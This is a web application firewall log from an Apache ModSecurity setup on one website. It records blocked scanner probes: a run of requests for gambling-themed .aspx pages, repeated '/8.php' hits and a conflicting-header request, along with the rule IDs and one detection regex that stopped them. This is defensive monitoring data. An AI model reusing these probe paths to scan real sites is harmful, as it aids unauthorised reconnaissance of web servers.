[Sat Feb 28 16:24:14.263226 2026] [:error] [pid 49763:tid 49789] [client 145.239.65.226:46738] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aaKmLrTHSOG_yf2PpqHmWwAAAdc"]
[Sat Feb 28 16:24:16.677722 2026] [:error] [pid 39183:tid 39195] [client 145.239.65.226:46742] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aaKmMBCf4HvhVePw3LYcsAAAAAM"]
[Sat Feb 28 16:24:19.196573 2026] [:error] [pid 11791:tid 11798] [client 145.239.65.226:46744] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aaKmM2uX5e1Q32gqxH1zbAAAAQU"]
[Sat Feb 28 16:24:21.727071 2026] [:error] [pid 39184:tid 39240] [client 145.239.65.226:52614] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aaKmNVtZF9Zd_U7easAeTQAAAFU"]
[Sat Feb 28 16:24:24.249919 2026] [:error] [pid 39292:tid 39294] [client 145.239.65.226:52624] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aaKmOKIAO5fN7BxyqcEVFgAAAMA"]
[Sat Feb 28 16:24:26.648934 2026] [:error] [pid 49763:tid 49775] [client 145.239.65.226:52626] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aaKmOrTHSOG_yf2PpqHmqAAAAck"]
[Sat Feb 28 16:24:29.173626 2026] [:error] [pid 39185:tid 39247] [client 145.239.65.226:52632] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aaKmPRVE-FfM89u7BQZkuQAAAIE"]
[Sat Feb 28 16:24:31.723732 2026] [:error] [pid 49763:tid 49767] [client 145.239.65.226:45130] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aaKmP7THSOG_yf2PpqHmvwAAAcE"]
[Sat Feb 28 16:24:52.401054 2026] [:error] [pid 39184:tid 39221] [client 145.239.65.226:45140] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aaKmVFtZF9Zd_U7easAevQAAAEI"]
[Sat Feb 28 16:24:54.880347 2026] [:error] [pid 39292:tid 39316] [client 145.239.65.226:49630] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aaKmVqIAO5fN7BxyqcEVTwAAANY"]
[Sat Feb 28 16:24:57.296919 2026] [:error] [pid 11791:tid 11812] [client 145.239.65.226:49644] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aaKmWWuX5e1Q32gqxH1zhgAAARM"]
[Sat Feb 28 16:24:59.795065 2026] [:error] [pid 49763:tid 49770] [client 145.239.65.226:49658] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aaKmW7THSOG_yf2PpqHnAAAAAcQ"]
[Sat Feb 28 16:25:02.339188 2026] [:error] [pid 49763:tid 49775] [client 145.239.65.226:49922] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aaKmXrTHSOG_yf2PpqHnDAAAAck"]
[Sat Feb 28 16:25:04.854511 2026] [:error] [pid 49763:tid 49768] [client 145.239.65.226:49934] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aaKmYLTHSOG_yf2PpqHnGwAAAcI"]
[Sat Feb 28 16:25:07.355288 2026] [:error] [pid 49763:tid 49773] [client 145.239.65.226:49946] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aaKmY7THSOG_yf2PpqHnJwAAAcc"]
[Sat Feb 28 16:25:09.753023 2026] [:error] [pid 11791:tid 11797] [client 145.239.65.226:49954] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aaKmZWuX5e1Q32gqxH1zigAAAQQ"]
[Sat Feb 28 16:25:12.282118 2026] [:error] [pid 39292:tid 39303] [client 145.239.65.226:50902] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aaKmaKIAO5fN7BxyqcEVagAAAMk"]
[Sat Feb 28 16:25:14.659976 2026] [:error] [pid 49763:tid 49787] [client 145.239.65.226:50906] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aaKmarTHSOG_yf2PpqHnPgAAAdU"]
[Sat Feb 28 16:25:17.168871 2026] [:error] [pid 39185:tid 39254] [client 145.239.65.226:50910] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aaKmbRVE-FfM89u7BQZk2gAAAIg"]
[Sat Feb 28 16:25:19.710360 2026] [:error] [pid 52460:tid 52464] [client 145.239.65.226:50912] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aaKmb7LWOogAgHGh62SoiAAAAYE"]
[Sat Feb 28 16:25:22.113938 2026] [:error] [pid 39183:tid 39194] [client 145.239.65.226:48772] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aaKmchCf4HvhVePw3LYdIQAAAAI"]
[Sat Feb 28 16:25:24.499465 2026] [:error] [pid 11791:tid 11800] [client 145.239.65.226:48780] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aaKmdGuX5e1Q32gqxH1zjwAAAQc"]
[Sat Feb 28 16:25:27.014446 2026] [:error] [pid 39183:tid 39211] [client 145.239.65.226:48794] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aaKmdxCf4HvhVePw3LYdJgAAABM"]
[Sat Feb 28 16:25:29.535061 2026] [:error] [pid 49763:tid 49774] [client 145.239.65.226:48804] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aaKmebTHSOG_yf2PpqHnVQAAAcg"]
[Sat Feb 28 16:25:32.068545 2026] [:error] [pid 52460:tid 52471] [client 145.239.65.226:49464] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aaKmfLLWOogAgHGh62SokAAAAYg"]
[Sat Feb 28 16:25:34.584635 2026] [:error] [pid 49763:tid 49769] [client 145.239.65.226:49468] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aaKmfrTHSOG_yf2PpqHnYgAAAcM"]
[Sat Feb 28 16:25:37.107960 2026] [:error] [pid 39183:tid 39202] [client 145.239.65.226:49470] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aaKmgRCf4HvhVePw3LYdRAAAAAo"]
[Sat Feb 28 16:25:39.505442 2026] [:error] [pid 49763:tid 49770] [client 145.239.65.226:49478] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aaKmg7THSOG_yf2PpqHnbwAAAcQ"]
[Sat Feb 28 16:25:41.903449 2026] [:error] [pid 49763:tid 49783] [client 145.239.65.226:55474] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aaKmhbTHSOG_yf2PpqHndwAAAdE"]
[Sat Feb 28 16:25:44.411814 2026] [:error] [pid 52460:tid 52480] [client 145.239.65.226:55486] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aaKmiLLWOogAgHGh62SokgAAAZE"]
[Sat Feb 28 16:25:46.946409 2026] [:error] [pid 39184:tid 39225] [client 145.239.65.226:55496] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aaKmiltZF9Zd_U7easAe1AAAAEY"]
[Sat Feb 28 16:25:49.338127 2026] [:error] [pid 39292:tid 39318] [client 145.239.65.226:55506] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aaKmjaIAO5fN7BxyqcEVgAAAANg"]
[Sat Feb 28 16:26:10.315865 2026] [:error] [pid 52460:tid 52473] [client 145.239.65.226:56466] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aaKmorLWOogAgHGh62SorQAAAYo"]
[Sat Feb 28 16:26:12.620718 2026] [:error] [pid 39183:tid 39214] [client 145.239.65.226:52792] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aaKmpBCf4HvhVePw3LYdXwAAABY"]
[Sat Feb 28 16:26:15.126026 2026] [:error] [pid 39183:tid 39203] [client 145.239.65.226:52804] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aaKmpxCf4HvhVePw3LYdcQAAAAs"]
[Sat Feb 28 16:26:17.635259 2026] [:error] [pid 49763:tid 49777] [client 145.239.65.226:52814] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aaKmqbTHSOG_yf2PpqHnvQAAAcs"]
[Sat Feb 28 16:26:20.135133 2026] [:error] [pid 39292:tid 39304] [client 145.239.65.226:52828] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aaKmrKIAO5fN7BxyqcEVoQAAAMo"]
[Sat Feb 28 16:26:22.640641 2026] [:error] [pid 39292:tid 39296] [client 145.239.65.226:40442] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aaKmrqIAO5fN7BxyqcEVqQAAAMI"]
[Sat Feb 28 16:26:25.172828 2026] [:error] [pid 39292:tid 39295] [client 145.239.65.226:40446] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aaKmsaIAO5fN7BxyqcEVrwAAAME"]
[Sat Feb 28 16:26:27.698120 2026] [:error] [pid 49763:tid 49766] [client 145.239.65.226:40462] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aaKms7THSOG_yf2PpqHn9AAAAcA"]
[Sat Feb 28 16:26:30.226868 2026] [:error] [pid 49763:tid 49777] [client 145.239.65.226:40464] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aaKmtrTHSOG_yf2PpqHoBgAAAcs"]
[Sat Feb 28 16:26:32.739739 2026] [:error] [pid 39183:tid 39206] [client 145.239.65.226:52696] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aaKmuBCf4HvhVePw3LYdhwAAAA4"]
[Sat Feb 28 16:26:35.244925 2026] [:error] [pid 39184:tid 39240] [client 145.239.65.226:52700] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aaKmu1tZF9Zd_U7easAfbQAAAFU"]
[Sat Feb 28 16:26:37.746946 2026] [:error] [pid 11791:tid 11800] [client 145.239.65.226:52710] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aaKmvWuX5e1Q32gqxH1zsQAAAQc"]
[Sat Feb 28 16:26:40.243795 2026] [:error] [pid 11791:tid 11817] [client 145.239.65.226:52726] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aaKmwGuX5e1Q32gqxH1ztAAAARg"]
[Sat Feb 28 16:26:42.628734 2026] [:error] [pid 39184:tid 39240] [client 145.239.65.226:54196] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aaKmwltZF9Zd_U7easAfdwAAAFU"]
[Sat Feb 28 16:26:45.150528 2026] [:error] [pid 39183:tid 39214] [client 145.239.65.226:54212] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aaKmxRCf4HvhVePw3LYdjAAAABY"]
[Sat Feb 28 16:26:47.654436 2026] [:error] [pid 39185:tid 39248] [client 145.239.65.226:54216] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aaKmxxVE-FfM89u7BQZlDAAAAII"]
[Sat Feb 28 16:26:50.175948 2026] [:error] [pid 49763:tid 49768] [client 145.239.65.226:54228] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aaKmyrTHSOG_yf2PpqHoDgAAAcI"]
[Sat Feb 28 16:36:25.119994 2026] [:error] [pid 49763:tid 49768] [client 119.28.140.106:33820] [client 119.28.140.106] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaKpCbTHSOG_yf2PpqHuoAAAAcI"]
[Sat Feb 28 17:26:03.338317 2026] [:error] [pid 39184:tid 39234] [client 4.205.9.11:44425] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aaK0q1tZF9Zd_U7easBCmQAAAE8"]
[Sat Feb 28 17:26:03.962985 2026] [:error] [pid 49763:tid 49776] [client 4.205.9.11:38582] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aaK0q7THSOG_yf2PpqEWCwAAAco"]
[Sat Feb 28 17:26:04.547783 2026] [:error] [pid 22194:tid 22219] [client 4.205.9.11:38569] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aaK0rH6mbajs3bzQGyt6dwAAAVc"]
[Sat Feb 28 17:26:05.207801 2026] [:error] [pid 39185:tid 39247] [client 4.205.9.11:44425] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aaK0rRVE-FfM89u7BQZvMwAAAIE"]
